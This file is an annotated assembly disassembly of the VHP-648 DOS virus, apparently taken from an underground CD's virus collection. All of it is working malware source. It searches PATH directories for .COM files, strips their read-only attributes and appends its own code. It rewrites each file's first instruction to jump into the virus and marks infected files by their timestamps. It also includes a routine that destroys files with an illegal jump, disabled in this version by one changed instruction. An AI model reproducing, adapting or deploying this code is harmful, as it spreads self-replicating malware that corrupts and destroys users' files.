Underground/Underground CD1.iso/virii/zrodla/c/c-623.asm

Assembly Source File | 1998-01-14 | 10.8 KB | 320 lines

      name        Virus

      title       Disassembly listing of the VHP-648 virus

     .radix       16

      code        segment

      assume      cs:code,ds:code

      org         100

environ   equ     2C



start:

      jmp      virus

      . . .

virus:

      push      cx              ;Save CX

      mov       dx,offset data  ;Restore original first instruction

                                ; before each contamination

modify equ      $-2             ;The instruction above is changed

      cld

      mov      si,dx

      add      si,saveins-data  ;Instruction saved there

      mov      di,offset start

      mov      cx,3             ;Move 3 bytes

      rep      movsb            ;Do it

      mov      si,dx            ;Keep SI pointed at data



      mov      ah,30            ;Get DOS version

      int      21

      cmp      al,0             ;Less than 2.0?

      jne      skip1

      jmp      exit             ;Exit if so



skip1:

      push     es               ;Save ES

      mov      ah,2F            ;Get current DTA in ES:BX

      int      21

      mov      word ptr [si+0],bx      ;dtaadr

      mov      word ptr [si+2],es

      pop      es               ;Restore ES



      mov      dx,mydta-data

      add      dx,si

      mov      ah,1A            ;Set DTA

      int      21



      push      es              ;Save ES & SI

      push      si

      mov      es,ds:[environ]  ;Environment address

      mov      di,0

n_00015A:                       ;Search 'PATH=' in the environment

      pop      si               ;Restore data offset in SI

      push     si

      add      si,pathstr-data

      lodsb

      mov      cx,8000          ;Maximum 32K in environment

      repne    scasb            ;Search for first letter ('P')

      mov      cx,4             ;4 letters in 'PATH'

n_000169:

      lodsb                     ;Search for next char

      scasb

      jne      n_00015A         ;If not found, search for next 'P'

      loop     n_000169         ;Loop until done

      pop      si               ;Restore SI & ES

      pop      es



      mov      [si+16],di       ;Save 'PATH' offset in poffs

      mov      di,si

      add      di,fname-data    ;Point SI & DI at '=' sign

      mov      bx,si            ;Point BX at data area

      add      si,fname-data

      mov      di,si

      jmp      short n_0001BF



n_000185:

      cmp      word ptr [si+16],6C  ;poffs

      jne      n_00018F

      jmp      olddta

n_00018F:

      push     ds

      push     si

      mov      ds,es:[environ]

      mov      di,si

      mov      si,es:[di+16]    ;poffs

      add      di,fname-data

n_0001A1:

      lodsb

      cmp      al,';'

      je       n_0001B0

      cmp      al,0

      je       n_0001AD

      stosb

      jmp      n_0001A1

n_0001AD:

      mov      si,0

n_0001B0:

      pop      bx

      pop      ds

      mov      [bx+16],si       ;poffs

      cmp      byte ptr [di-1],'\'

      je       n_0001BF

      mov      al,'\'           ;Add '\' if not already present

      stosb



n_0001BF:

      mov      [bx+18],di       ;Save '=' offset in eqoffs

      mov      si,bx            ;Restore data pointer in SI

      add      si,allcom-data

      mov      cx,6             ;6 bytes in ASCIIZ '*.COM'

      rep      movsb            ;Move '*.COM' at fname

      mov      si,bx            ;Restore SI



      mov      ah,4E            ;Find first file

      mov      dx,fname-data

      add      dx,si

      mov      cx,11b            ;Hidden, Read/Only or Normal files

      int      21

      jmp      short n_0001E3



findnext:

      mov      ah,4F             ;Find next file

      int      21

n_0001E3:

      jnc      n_0001E7          ;If found, try to contaminate it

      jmp      n_000185          ;Otherwise search in another directory



n_0001E7:

      mov      ax,[si+75]        ;Check file time

      and      al,11111b         ; (the seconds, more exactly)

      cmp      al,62d/2          ;Are they 62?



;If so, file is already contains the virus, search for another:



      je       findnext

      cmp      [si+79],64000d    ;Is file size greather than 64,000 bytes?

      ja       findnext          ;If so, search for next file

      cmp      word ptr [si+79],10d  ;Is file size less than 10 bytes?

      jb       findnext              ;If so, search for next file



      mov      di,[si+18]        ;eqoffs

      push     si                ;Save SI

      add      si,namez-data     ;Point SI at namez

n_000209:

      lodsb

      stosb

      cmp      al,0

      jne      n_000209



      pop      si                ;Restore SI

      mov      ax,4300           ;Get file attributes

      mov      dx,fname-data

      add      dx,si

      int      21



      mov      [si+8],cx         ;Save them in fattrib

      mov      ax,4301           ;Set file attributes



;The next `db's are there because MASM can't assemble

; the instruction `and cx,0FFFE' correctly (the fool!):



      and      cx,0FFFE          ;Turn off Read Only flag

      mov      dx,fname-data

      add      dx,si

      int      21



      mov      ax,3D02           ;Open file with Read/Write access

      mov      dx,fname-data

      add      dx,si

      int      21

      jnc      n_00023E

      jmp      oldattr           ;Exit on error

n_00023E:

      mov      bx,ax             ;Save file handle in BX

      mov      ax,5700           ;Get file date & time

      int      21

      mov      [si+4],cx         ;Save time in ftime

      mov      [si+6],dx         ;Save date in fdate



      mov      ah,2C             ;Get system time

      int      21

      and      dh,111b           ;Are seconds a multiple of 8?



;If so, destroy file (don't contaminate). Now this code is disabled.



      jmp      short n_000266    ;CHANGED. Was jnz here



;Destroy file by rewriting an illegal jmp as first instruction:



      mov      ah,40             ;Write to file handle

      mov      cx,5              ;Write 5 bytes

      mov      dx,si

      add      dx,bad_jmp-data   ;Write THESE bytes

      int      21                ;Do it

      jmp      short oldtime     ;Exit



;Try to contaminate file:



;Read first instruction of the file (first 3 bytes) and save it in saveins:



n_000266:

      mov      ah,3F             ;Read from file handle

      mov      cx,3              ;Read 3 bytes

      mov      dx,saveins-data   ;Put them there

      add      dx,si

      int      21

      jc       oldtime           ;Exit on error

      cmp      ax,3              ;Are really 3 bytes read?

      jne      oldtime           ;Exit if not



;Move file pointer to end of file:



      mov      ax,4202           ;LSEEK from end of file

      mov      cx,0              ;0 bytes from end

      mov      dx,0

      int      21

      jc       oldtime           ;Exit on error



      mov      cx,ax             ;Get the value of file pointer

      sub      ax,3              ;Subtract 3 from it to get real code size

      mov      [si+14d],ax       ;Save result in filloc

      add      cx,data-(virus-100)

      mov      di,si

      sub      di,data-modify    ;A little self-modification

      mov      [di],cx



      mov      ah,40             ;Write to file handle

      mov      cx,enddata-virus  ;Virus code length as bytes to be written

      mov      dx,si

      sub      dx,data-virus     ;Now DX points at virus label

      int      21

      jc       oldtime           ;Exit on error

      cmp      ax,enddata-virus  ;Are all bytes written?

      jne      oldtime           ;Exit if not



      mov      ax,4200           ;LSEEK from the beginning of the file

      mov      cx,0              ;Just at the file beginning

      mov      dx,0

      int      21

      jc       oldtime           ;Exit on error



;Rewrite the first instruction of the file with a jump to the virus code:



      mov      ah,40             ;Write to file handle

      mov      cx,3              ;3 bytes to write

      mov      dx,si

      add      dx,newjmp-data    ;Write THESE bytes

      int      21



oldtime:

      mov      dx,[si+6]         ;Restore file date

      mov      cx,[si+4]         ; and time



;And these again are due to the MASM 5.0 foolness:



      db      081,0E1,0E0,0FF

      db      081,0C9,01F,000

;      and      cx,not 11111b

;      or      cx,11111b         ;Set seconds to 62 (?!)



      mov      ax,5701           ;Set file date & time

      int      21

      mov      ah,3E             ;Close file handle

      int      21



oldattr:

      mov      ax,4301           ;Set file attributes

      mov      cx,[si+8]         ;They were saved in fattrib

      mov      dx,fname-data

      add      dx,si

      int      21



olddta:

      push     ds                ;Save DS

      mov      ah,1A             ;Set DTA

      mov      dx,[si+0]         ;Restore saved DTA

      mov      ds,[si+2]

      int      21

      pop      ds                ;Restore DS



exit:

      pop      cx                ;Restore CX

      xor      ax,ax             ;Clear registers

      xor      bx,bx

      xor      dx,dx

      xor      si,si

      mov      di,100            ;Jump to CS:100

      push     di                ; by doing funny RET

      xor      di,di

      ret      -1



data label byte                 ;Data section

dtaaddr    dd      ?            ;Disk Transfer Address

ftime      dw      ?            ;File date

fdate      dw      ?            ;File time

fattrib    dw      ?            ;File attribute

saveins    db      0EBh,0Fh,90  ;Original first 3 bytes

newjmp     db      0E9          ;Code of jmp instruction

filloc     dw      ?            ;File pointer is saved here

allcom     db      '*.COM',0    ;Filespec to search for

poffs      dw      ?            ;Address of 'PATH' string

eqoffs     dw      ?            ;Address of '=' sign

pathstr    db      'PATH='

fname      db      40 dup (' ') ;Path name to search for



;Disk Transfer Address for Find First / Find Next:



mydta label byte

drive       db      ?           ;Drive to search for

pattern     db      13d dup (?) ;Search pattern

reserve     db      7 dup (?)   ;Not used

attrib      db      ?           ;File attribute

time        dw      ?           ;File time

date        dw      ?           ;File date

fsize       dd      ?           ;File size

namez       db      13d dup (?) ;File name found



;This replaces the first instruction of a destroyed file:



bad_jmp db      0EA,0Bh,2,13,58

enddata label   byte

     code       ends

                end       start